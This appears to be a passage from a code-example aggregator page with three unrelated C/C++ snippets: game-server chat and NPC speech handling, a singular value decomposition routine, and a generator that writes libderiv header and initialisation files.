        sprintf(temp2, "%s.speech_log", pc_currchar->name.c_str());
        sprintf((char*)temp, "%s [%x] [%i] said:\n%s\n", pc_currchar->name.c_str(), pc_currchar->serial, pc_currchar->account, nonuni);
        savelog((char*)temp, (char*)temp2);
    }

    //char SpeechUpr[512];
    //strcpy(SpeechUpr, nonuni);
    //strupr(SpeechUpr);
    string SpeechUpr(nonuni) ;
    transform(SpeechUpr.begin(), SpeechUpr.end(), SpeechUpr.begin(), ::toupper);
    //if (!strcmp(SpeechUpr, "I RESIGN FROM MY GUILD"))
    if (SpeechUpr == string("I RESIGN FROM MY GUILD"))
    {
        GuildResign(s);
    }

    if (response(s,pc_currchar,SpeechUpr))
        return;  // Vendor responded already

    //if (strstr(SpeechUpr, "GUARDS"))
    if (SpeechUpr.find("GUARDS") != string::npos)
        callguards(currchar[s]);

    if (Boats->Speech(s, SpeechUpr))
        return;

    house_speech(s, SpeechUpr); // houses crackerjack 8/12/99

    int i, j;
    for (i = 0; i < now; i++)
    {
        // AntiChrist - don't check line of sight for talking!!!
        if (inrange1(i, s) && perm[i] && i!=s)//&&line_of_sight(s, pc_currchar->pos.x, pc_currchar->pos.y, pc_currchar->pos.z, chars[currchar[i]].x, chars[currchar[i]].y, chars[currchar[i]].z, WALLS_CHIMNEYS + DOORS + FLOORS_FLAT_ROOFING))
        {
            Xsend(i, talk2, 18);
            Xsend(i, name, 30);
            if (pc_currchar->dead				// a ghost is talking
                    && !currchar[i]->dead		// Ghost can talk normally to other ghosts
                    && !currchar[i]->isGMorCounselor()// GM/Counselors can see ghosts talking always  Seers?
                    && currchar[i]->spiritspeaktimer == 0)
            {
                unsigned char ghostspeech[512];
                memcpy(&ghostspeech, &unicodetext, ucl);
                for (j = 1; j < ucl-2 ; j += 2)	// -2: dont override /0 /0 terminator !
                {
                    if (ghostspeech[j] != 32)	// keep the blanks
                        ghostspeech[j] = (ghostspeech[j]%2) ? 'O' : 'o';
                }
                Xsend(i, ghostspeech, ucl);		// send 'ghostified' speech "OOoooOo  Ooo"
            }
            else
                Xsend(i, unicodetext, ucl);
        }
    }

    if (pc_currchar->dead) return; // this makes it so npcs do not respond to dead people

    cChar* pc=NULL;
    cChar* pNpc=NULL;
    cRegion::RegionIterator4Chars ri(pc_currchar->pos);
    for (ri.Begin(); !ri.atEnd(); ri++)
    {
        pc = ri.GetData();
        if (!pc->isSameAs(pc_currchar)
                && pc->isNpc()
                && pc->dist(pc_currchar) <= 2)
        {
            pNpc=pc;
            break;
        }
    }
    if (pNpc && pNpc->speech)
    {
        Script *pScp=i_scripts[speech_script];
        if (!pScp->Open())
            return;
        char sect[512];
        sprintf(sect, "SPEECH %i", pNpc->speech);
        if (!pScp->find(sect))
        {
            pScp->Close();
            return;
        }
        int match = 0;
        strcpy(sect, "NO DEFAULT TEXT DEFINED");
        unsigned long loopexit = 0;
        do
        {
            pScp->NextLineSplitted();
            if (script1[0] != '}')
            {
                if (!(strcmp("DEFAULT", (char*)script1)))
                {
                    strcpy(sect, (char*)script2);
                }
                if (!(strcmp("ON", (char*)script1)))
                {
                    char scpUpr[500];
                    strcpy(scpUpr,script2);
                    strupr(scpUpr);
                    if (SpeechUpr.find(scpUpr)!= string::npos)
                        match=1;
                }
                if (!(strcmp("SAY", (char*)script1)))
                {
                    if (match == 1)
                    {
                        npctalk(s, pNpc, (char*)script2, 0);
                        match = 2;
                    }
                }

                if (!(strcmp("TRG", (char*)script1))) // Added by Magius(CHE) §
                {
                    if (match == 1)
                    {
                        pNpc->trigger = str2num(script2);
                        scpMark m=pScp->Suspend();

                        Trig->triggernpc(s, pNpc, 1);

                        pScp->Resume(m);
                        strcpy((char*)script1, "DUMMY");

                        match = 2;
                    }
                }
            }
        }
        while (script1[0] != '}'  && (++loopexit < MAXLOOPS));
        if (match == 0)
        {
            npctalk(s, pNpc, sect, 0);
        }
        pScp->Close();
    }
}
Esempio n. 18
0
/**************************************************************************

  Does singular value decomposition on m x n matrix a, 
  returning m x n matrix u in a, n x n matrices v, and in w the
  n diagonal elements of an n x n diagonal matrix wm, such that 

   a = u . wm . vT   -and-  uT.u = 1   -and-  vT.v = 1
  
*/
static int svdcmp(double **a, int m, int n) {

  double *rv1 ;
  double anorm,c,f,g,h,s,scale,x,y,z ;
  int flag,i,its,j,jj,k,l,nm;
  const char *me = "svdcmp" ;

  if (!(rv1 = (double *)malloc(n*sizeof(double))))
    return(punt(__LINE__,me,"can\'t allocate buffer.")) ;
  g=scale=anorm=0.0;
  for(i=0;i<n;i++) {
    l=i+1;
    rv1[i]=scale*g;
    g=s=scale=0.0;
    if (i<m) {
      for (k=0;k<m;k++) scale += fabs(a[k][i]);
      if (scale) {
	for (k=i;k<m;k++) {
	  a[k][i] /= scale;
	  s += a[k][i]*a[k][i];
	}
	f=a[i][i];
	g = -SIGN(sqrt(s),f);
	h=f*g-s;
	a[i][i]=f-g;
	for (j=l;j<n;j++) {
	  for (s=0.0,k=i;k<m;k++) s += a[k][i]*a[k][j];
	  f=s/h;
	  for (k=i;k<m;k++) a[k][j] += f*a[k][i];
	}
	for (k=i;k<m;k++) a[k][i] *= scale;
      }
    }
    w[i]=scale*g;
    g=s=scale=0.0;
    if (i < m && i < n) {
      for (k=l;k<n;k++) scale += fabs(a[i][k]);
      if (scale) {
	for (k=l;k<n;k++) {
	  a[i][k] /= scale;
	  s += a[i][k]*a[i][k];
	}
	f=a[i][l];
	g = -SIGN(sqrt(s),f);
	h=f*g-s;
	/* hmm */
	a[i][l]=f-g;
	for (k=l;k<n;k++) rv1[k]=a[i][k]/h;
	for (j=l;j<m;j++) {
	  for (s=0.0,k=l;k<n;k++) s += a[j][k]*a[i][k];
	  for (k=l;k<n;k++) a[j][k] += s*rv1[k];
	}
	for (k=l;k<n;k++) a[i][k] *= scale;
      }
    }
    anorm=MAX(anorm,(fabs(w[i])+fabs(rv1[i])));
  }
  for (i=n-1;i>=0;i--) {
    if (i < n-1) {
      if (g) {
	for (j=l;j<n;j++) v[j][i]=(a[i][j]/a[i][l])/g;
	for (j=l;j<n;j++) {
	  for (s=0.0,k=l;k<n;k++) s += a[i][k]*v[k][j];
	  for (k=l;k<n;k++) v[k][j] += s*v[k][i];
	}
      }
      for (j=l;j<n;j++) v[i][j]=v[j][i]=0.0;
    }
    v[i][i]=1.0;
    g=rv1[i];
    l=i;
  }
  for (i=MIN(m,n)-1;i>=0;i--) {
    l=i+1;
    g=w[i];
    for (j=l;j<n;j++) a[i][j]=0.0;
    if (g) {
      g=1.0/g;
      for (j=l;j<n;j++) {
	for (s=0.0,k=l;k<m;k++) s += a[k][i]*a[k][j];
	f=(s/a[i][i])*g;
	for (k=i;k<m;k++) a[k][j] += f*a[k][i];
      }
      for (j=i;j<m;j++) a[j][i] *= g;
    } else for (j=i;j<m;j++) a[j][i]=0.0;
    ++a[i][i];
  }
  for (k=n-1;k>=0;k--) {
    for (its=0;its<30;its++) {
      flag=1;
      for (l=k;l>=0;l--) {
	nm=l-1;
	if ((double)(fabs(rv1[l])+anorm) == anorm) {
	  flag=0;
	  break;
	}
	if ((double)(fabs(w[nm])+anorm) == anorm) break;
      }
      if (flag) {
	c=0.0;
	s=1.0;
	for (i=l;i<=k;i++) {
	  f=s*rv1[i];
	  rv1[i]=c*rv1[i];
	  if ((double)(fabs(f)+anorm) == anorm) break;
	  g=w[i];
	  h=dpythag(f,g);
	  w[i]=h;
	  h=1.0/h;
	  c=g*h;
	  s = -f*h;
	  for (j=0;j<m;j++) {
	    y=a[j][nm];
	    z=a[j][i];
	    a[j][nm]=y*c+z*s;
	    a[j][i]=z*c-y*s;
	  }
	}
      }
      z=w[k];
      if (l == k) {
	if (z < 0.0) {
	  w[k] = -z;
	  for (j=0;j<n;j++) v[j][k] = -v[j][k];
	}
	break;
      }
      if (its == 29) 
	return(punt(__LINE__,me,"no convergence in 30 iterations")) ;
      x=w[l];
      nm=k-1;
      y=w[nm];
      g=rv1[nm];
      h=rv1[k];
      f=((y-z)*(y+z)+(g-h)*(g+h))/(2.0*h*y);
      g=dpythag(f,1.0);
      f=((x-z)*(x+z)+h*((y/(f+SIGN(g,f)))-h))/x;
      c=s=1.0;
      for (j=l;j<=nm;j++) {
	i=j+1;
	g=rv1[i];
	y=w[i];
	h=s*g;
	g=c*g;
	z=dpythag(f,h);
	rv1[j]=z;
	c=f/z;
	s=h/z;
	f=x*c+g*s;
	g = g*c-x*s;
	h=y*s;
	y *= c;
	for (jj=0;jj<n;jj++) {
	  x=v[jj][j];
	  z=v[jj][i];
	  v[jj][j]=x*c+z*s;
	  v[jj][i]=z*c-x*s;
	}
	z=dpythag(f,h);
	w[j]=z;
	if (z) {
	  z=1.0/z;
	  c=f*z;
	  s=h*z;
	}
	f=c*g+s*y;
	x=c*y-s*g;
	for (jj=0;jj<m;jj++) {
	  y=a[jj][j];
	  z=a[jj][i];
	  a[jj][j]=y*c+z*s;
	  a[jj][i]=z*c-y*s;
	}
      }
      rv1[l]=0.0;
      rv1[k]=f;
      w[k]=x;
    }
  }
  free(rv1) ;
  return(OK) ;
}
Esempio n. 19
0
int main()
{
  int i,j,k,l,f;
  int j_min, j_max, k_min, k_max, l_min, l_max;
  int errcod;
  int new_am, new_am1, new_am2, new_am12;
  int class_size;
  int num_subfunctions;
  int max_class_size = 785;
  const int io[] = {0,1,3,6,10,15,21,28,36,45,55,66,78,91,105,120,136,153};
  const char am_letter[] = "0pdfghiklmnoqrtuvwxyz";


  /*-------------------------------
    Initialize files and libraries
   -------------------------------*/
  outfile = fopen("./output.dat", "w");
  d1hrr_header = fopen("./d1hrr_header.h","w");
  deriv_header = fopen("./deriv_header.h","w");
  libderiv_header = fopen("./libderiv.h","w");
  init_code = fopen("./init_libderiv.cc","w");

  /*---------------------------------------------
    Getting the new_am1, new_am12, and deriv_lvl
    from user and making sure it is consistent
    with libint.h
   ---------------------------------------------*/
  new_am1 = LIBDERIV_NEW_AM1;
  if (new_am1 <= 0)
    punt("  MAX_AM1 must be positive.");
  if (new_am1 > (LIBINT_MAX_AM - 1)*2-1)
    punt("  MAX_AM1 is greater than the installed libint.a allows.\n  Recompile libint.a with greater MAX_AM.");

#if EMIT_DERIV2_MANAGERS
  new_am2 = LIBDERIV_NEW_AM2;
  if (new_am2 <= 0)
    punt("  MAX_AM2 must be positive.");
  if (new_am1 > (LIBINT_MAX_AM - 1)*2-2)
    punt("  MAX_AM2 is greater than the installed libint.a allows.\n  Recompile libint.a with greater MAX_AM.");
#endif

  new_am12 = LIBDERIV_NEW_AM12;
  if (new_am12 <= 0)
    punt("  MAX_AM12 must be positive.");
  if (new_am12 > (LIBINT_MAX_AM - 1)*2-2)
    punt("  Maximum MAX_AM12 is greater than the installed libint.a allows.\n  Recompile libint.a with greater MAX_AM.");

  new_am = (new_am1 > new_am12) ? new_am1 : new_am12;
#if EMIT_DERIV2_MANAGERS
  new_am = (new_am > new_am2) ? new_am : new_am2;
#endif

  /*-------------
    Init globals
   -------------*/
  for(l=0;l<=new_am1/2;l++)
    libderiv1_stack_size[l] = 0;
#if EMIT_DERIV2_MANAGERS
  for(l=0;l<=new_am2/2;l++)
    libderiv2_stack_size[l] = 0;
#endif
  for(l=0;l<=new_am12/2;l++)
    libderiv12_stack_size[l] = 0;
  Params.new_am = new_am;
  Params.new_am1 = new_am1;
#if EMIT_DERIV2_MANAGERS
  Params.new_am2 = new_am2;
#endif
  Params.new_am12 = new_am12;
  Params.old_am = 0;
  Params.opt_am = LIBINT_OPT_AM;
  Params.max_am_to_inline_vrr_worker = -1;
  Params.max_am_manager_to_inline_vrr_worker = -1;
  Params.max_am_to_inline_deriv_worker = -1;
  Params.max_am_manager_to_inline_deriv_worker = -1;
  Params.max_am_to_inline_hrr_worker = -1;
  Params.max_am_manager_to_inline_hrr_worker = -1;
  Params.max_am_to_inline_d1hrr_worker = -1;
  Params.max_am_manager_to_inline_d1hrr_worker = -1;
  Params.max_am_to_inline_vrr_manager = -1;

  /* Setting up init_libderiv.c, header.h */
  fprintf(init_code,"#include <stdlib.h>\n");
  fprintf(init_code,"#include <strings.h>\n");
  fprintf(init_code,"#include <libint/libint.h>\n");
  fprintf(init_code,"#include \"libderiv.h\"\n");
  fprintf(init_code,"#include \"d1hrr_header.h\"\n\n");
  fprintf(init_code,"extern \"C\" {\n");
  fprintf(init_code,"void (*build_deriv1_eri[%d][%d][%d][%d])(Libderiv_t *, int);\n\n",
	  new_am1/2+1,new_am1/2+1,new_am1/2+1,new_am1/2+1);
#if EMIT_DERIV2_MANAGERS
  fprintf(init_code,"void (*build_deriv2_eri[%d][%d][%d][%d])(Libderiv_t *, int);\n\n",
	  new_am2/2+1,new_am2/2+1,new_am2/2+1,new_am2/2+1);
#endif
  fprintf(init_code,"void (*build_deriv12_eri[%d][%d][%d][%d])(Libderiv_t *, int);\n\n",
	  new_am12/2+1,new_am12/2+1,new_am12/2+1,new_am12/2+1);
  fprintf(init_code,"int libderiv1_stack_size[%d];\n",new_am1/2+1);
#if EMIT_DERIV2_MANAGERS
  fprintf(init_code,"int libderiv2_stack_size[%d];\n",new_am2/2+1);
#endif
  fprintf(init_code,"int libderiv12_stack_size[%d];\n",new_am12/2+1);
  fprintf(init_code,"void init_libderiv_base()\n{\n");

  emit_deriv1_managers();
  emit_deriv12_managers();
#if EMIT_DERIV2_MANAGERS
  emit_deriv2_managers();
#endif
  emit_d1hrr_build();
  emit_d1hrr_build_macro();
  emit_deriv_build();
  emit_deriv_build_macro();

  /* put computed stack sizes for each angular momentum level into init_libderiv_base() */
  for(l=0;l<=new_am1/2;l++)
    fprintf(init_code,"\n  libderiv1_stack_size[%d] = %d;",l,libderiv1_stack_size[l]);
#if EMIT_DERIV2_MANAGERS
  for(l=0;l<=new_am2/2;l++)
    fprintf(init_code,"\n  libderiv2_stack_size[%d] = %d;",l,libderiv2_stack_size[l]);
#endif
  for(l=0;l<=new_am12/2;l++)
    fprintf(init_code,"\n  libderiv12_stack_size[%d] = %d;",l,libderiv12_stack_size[l]);

  fprintf(init_code,"\n}\n\n");
  fprintf(init_code,"/* These functions initialize library objects */\n");
  fprintf(init_code,"/* Library objects operate independently of each other */\n");

  fprintf(init_code,"int init_libderiv1(Libderiv_t *libderiv, int max_am, int max_num_prim_quartets, int max_cart_class_size)\n{\n");
  fprintf(init_code,"  int memory = 0;\n\n");
  fprintf(init_code,"  if (max_am >= LIBDERIV_MAX_AM1) return -1;\n");
  fprintf(init_code,"  libderiv->int_stack = (double *) malloc(libderiv1_stack_size[max_am]*sizeof(double));\n");
  fprintf(init_code,"  memory += libderiv1_stack_size[max_am];\n");
  fprintf(init_code,"  libderiv->zero_stack = (double *) malloc(max_cart_class_size*sizeof(double));\n");
  fprintf(init_code,"  bzero((char *)libderiv->zero_stack,max_cart_class_size*sizeof(double));\n");
  fprintf(init_code,"  memory += max_cart_class_size;\n");
  fprintf(init_code,"  libderiv->PrimQuartet = (prim_data *) malloc(max_num_prim_quartets*sizeof(prim_data));\n");
  fprintf(init_code,"  memory += max_num_prim_quartets*sizeof(prim_data)/sizeof(double);\n");
  fprintf(init_code,"  return memory;\n}\n\n");

#if EMIT_DERIV2_MANAGERS
  fprintf(init_code,"int init_libderiv2(Libderiv_t *libderiv, int max_am, int max_num_prim_quartets, int max_cart_class_size)\n{\n");
  fprintf(init_code,"  int memory = 0;\n\n");
  fprintf(init_code,"  if (max_am >= LIBDERIV_MAX_AM2) return -1;\n");
  fprintf(init_code,"  libderiv->int_stack = (double *) malloc(libderiv2_stack_size[max_am]*sizeof(double));\n");
  fprintf(init_code,"  memory += libderiv2_stack_size[max_am];\n");
  fprintf(init_code,"  libderiv->zero_stack = (double *) malloc(max_cart_class_size*sizeof(double));\n");
  fprintf(init_code,"  bzero((char *)libderiv->zero_stack,max_cart_class_size*sizeof(double));\n");
  fprintf(init_code,"  memory += max_cart_class_size;\n");
  fprintf(init_code,"  libderiv->PrimQuartet = (prim_data *) malloc(max_num_prim_quartets*sizeof(prim_data));\n");
  fprintf(init_code,"  memory += max_num_prim_quartets*sizeof(prim_data)/sizeof(double);\n");
  fprintf(init_code,"  return memory;\n}\n\n");
#endif

  fprintf(init_code,"int init_libderiv12(Libderiv_t *libderiv, int max_am, int max_num_prim_quartets, int max_cart_class_size)\n{\n");
  fprintf(init_code,"  int memory = 0;\n\n");
  fprintf(init_code,"  if (max_am >= LIBDERIV_MAX_AM12) return -1;\n");
  fprintf(init_code,"  libderiv->int_stack = (double *) malloc(libderiv12_stack_size[max_am]*sizeof(double));\n");
  fprintf(init_code,"  memory += libderiv12_stack_size[max_am];\n");
  fprintf(init_code,"  libderiv->zero_stack = (double *) malloc(max_cart_class_size*sizeof(double));\n");
  fprintf(init_code,"  bzero((char *)libderiv->zero_stack,max_cart_class_size*sizeof(double));\n");
  fprintf(init_code,"  memory += max_cart_class_size;\n");
  fprintf(init_code,"  libderiv->PrimQuartet = (prim_data *) malloc(max_num_prim_quartets*sizeof(prim_data));\n");
  fprintf(init_code,"  memory += max_num_prim_quartets*sizeof(prim_data)/sizeof(double);\n");
  fprintf(init_code,"  return memory;\n}\n\n");

  fprintf(init_code,"void free_libderiv(Libderiv_t *libderiv)\n{\n");
  fprintf(init_code,"  if (libderiv->int_stack != NULL) {\n");
  fprintf(init_code,"    free(libderiv->int_stack);\n");
  fprintf(init_code,"    libderiv->int_stack = NULL;\n");
  fprintf(init_code,"  }\n");
  fprintf(init_code,"  if (libderiv->zero_stack != NULL) {\n");
  fprintf(init_code,"    free(libderiv->zero_stack);\n");
  fprintf(init_code,"    libderiv->zero_stack = NULL;\n");
  fprintf(init_code,"  }\n");
  fprintf(init_code,"  if (libderiv->PrimQuartet != NULL) {\n");
  fprintf(init_code,"    free(libderiv->PrimQuartet);\n");
  fprintf(init_code,"    libderiv->PrimQuartet = NULL;\n");
  fprintf(init_code,"  }\n\n");
  fprintf(init_code,"  return;\n}\n\n");
  fprintf(init_code,"int libderiv1_storage_required(int max_am, int max_num_prim_quartets, int max_cart_class_size)\n{\n");
  fprintf(init_code,"  int memory = 0;\n\n");
  fprintf(init_code,"  if (max_am >= LIBDERIV_MAX_AM1) return -1;\n");
  fprintf(init_code,"  memory += libderiv1_stack_size[max_am];\n");
  fprintf(init_code,"  memory += max_cart_class_size;\n");
  fprintf(init_code,"  memory += max_num_prim_quartets*sizeof(prim_data)/sizeof(double);\n");
  fprintf(init_code,"  return memory;\n}\n");
#if EMIT_DERIV2_MANAGERS
  fprintf(init_code,"int libderiv2_storage_required(int max_am, int max_num_prim_quartets, int max_cart_class_size)\n{\n");
  fprintf(init_code,"  int memory = 0;\n\n");
  fprintf(init_code,"  if (max_am >= LIBDERIV_MAX_AM2) return -1;\n");
  fprintf(init_code,"  memory += libderiv2_stack_size[max_am];\n");
  fprintf(init_code,"  memory += max_cart_class_size;\n");
  fprintf(init_code,"  memory += max_num_prim_quartets*sizeof(prim_data)/sizeof(double);\n");
  fprintf(init_code,"  return memory;\n}\n");
#endif
  fprintf(init_code,"int libderiv12_storage_required(int max_am, int max_num_prim_quartets, int max_cart_class_size)\n{\n");
  fprintf(init_code,"  int memory = 0;\n\n");
  fprintf(init_code,"  if (max_am >= LIBDERIV_MAX_AM12) return -1;\n");
  fprintf(init_code,"  memory += libderiv12_stack_size[max_am];\n");
  fprintf(init_code,"  memory += max_cart_class_size;\n");
  fprintf(init_code,"  memory += max_num_prim_quartets*sizeof(prim_data)/sizeof(double);\n");
  fprintf(init_code,"  return memory;\n}\n");
  fprintf(init_code,"}\n"); /* end of extern "C" */
  fclose(init_code);
  fclose(d1hrr_header);
  fclose(deriv_header);

    /* Setting up libderiv.h */
  fprintf(libderiv_header,"#ifndef _psi3_libderiv_h\n");
  fprintf(libderiv_header,"#define _psi3_libderiv_h\n\n");
  fprintf(libderiv_header,"#include <libint/libint.h>\n\n");
  fprintf(libderiv_header,"/* Maximum angular momentum of functions in a basis set plus 1 */\n");
  fprintf(libderiv_header,"#define LIBDERIV_MAX_AM1 %d\n",1+new_am1/2);
#if EMIT_DERIV2_MANAGERS
  fprintf(libderiv_header,"#define LIBDERIV_MAX_AM2 %d\n",1+new_am2/2);
#endif
  fprintf(libderiv_header,"#define LIBDERIV_MAX_AM12 %d\n",1+new_am12/2);
  fprintf(libderiv_header,"#ifdef DERIV_LVL\n");
  fprintf(libderiv_header," #undef DERIV_LVL\n");
  fprintf(libderiv_header,"#endif\n");
  fprintf(libderiv_header,"#define DERIV_LVL %d\n\n",DERIV_LVL);
  fprintf(libderiv_header,"typedef struct {\n");
  fprintf(libderiv_header,"  double *int_stack;\n");
  fprintf(libderiv_header,"  prim_data *PrimQuartet;\n");
  fprintf(libderiv_header,"  double *zero_stack;\n");
  fprintf(libderiv_header,"  double *ABCD[12+144];\n");
  fprintf(libderiv_header,"  double AB[3];\n");
  fprintf(libderiv_header,"  double CD[3];\n");
  fprintf(libderiv_header,"  double *deriv_classes[%d][%d][%d];\n",1+new_am,1+new_am,12);
  fprintf(libderiv_header,"  double *deriv2_classes[%d][%d][%d];\n",1+new_am,1+new_am,144);
  fprintf(libderiv_header,"  double *dvrr_classes[%d][%d];\n",1+new_am,1+new_am);
  fprintf(libderiv_header,"  double *dvrr_stack;\n");
  fprintf(libderiv_header,"  } Libderiv_t;\n\n");
  fprintf(libderiv_header,"#ifdef __cplusplus\n");
  fprintf(libderiv_header,"extern \"C\" {\n");
  fprintf(libderiv_header,"#endif\n");
  fprintf(libderiv_header,"extern void (*build_deriv1_eri[%d][%d][%d][%d])(Libderiv_t *, int);\n",
	  new_am1/2+1,new_am1/2+1,new_am1/2+1,new_am1/2+1);
#if EMIT_DERIV2_MANAGERS
  fprintf(libderiv_header,"extern void (*build_deriv2_eri[%d][%d][%d][%d])(Libderiv_t *, int);\n",
	  new_am2/2+1,new_am2/2+1,new_am2/2+1,new_am2/2+1);
#endif
  fprintf(libderiv_header,"extern void (*build_deriv12_eri[%d][%d][%d][%d])(Libderiv_t *, int);\n",
	  new_am12/2+1,new_am12/2+1,new_am12/2+1,new_am12/2+1);
  fprintf(libderiv_header,"void init_libderiv_base();\n\n");
  fprintf(libderiv_header,"int  init_libderiv1(Libderiv_t *, int max_am, int max_num_prim_quartets, int max_cart_class_size);\n");
#if EMIT_DERIV2_MANAGERS
  fprintf(libderiv_header,"int  init_libderiv2(Libderiv_t *, int max_am, int max_num_prim_quartets, int max_cart_class_size);\n");
#endif
  fprintf(libderiv_header,"int  init_libderiv12(Libderiv_t *, int max_am, int max_num_prim_quartets, int max_cart_class_size);\n");
  fprintf(libderiv_header,"void free_libderiv(Libderiv_t *);\n\n");
  fprintf(libderiv_header,"int  libderiv1_storage_required(int max_am, int max_num_prim_quartets, int max_cart_class_size);\n");
#if EMIT_DERIV2_MANAGERS
  fprintf(libderiv_header,"int  libderiv2_storage_required(int max_am, int max_num_prim_quartets, int max_cart_class_size);\n");
#endif
  fprintf(libderiv_header,"int  libderiv12_storage_required(int max_am, int max_num_prim_quartets, int max_cart_class_size);\n");
  fprintf(libderiv_header,"#ifdef __cplusplus\n");
  fprintf(libderiv_header,"}\n");
  fprintf(libderiv_header,"#endif\n\n");
  fprintf(libderiv_header,"#endif\n");
  fclose(libderiv_header);
  fclose(outfile);
  exit(0);
}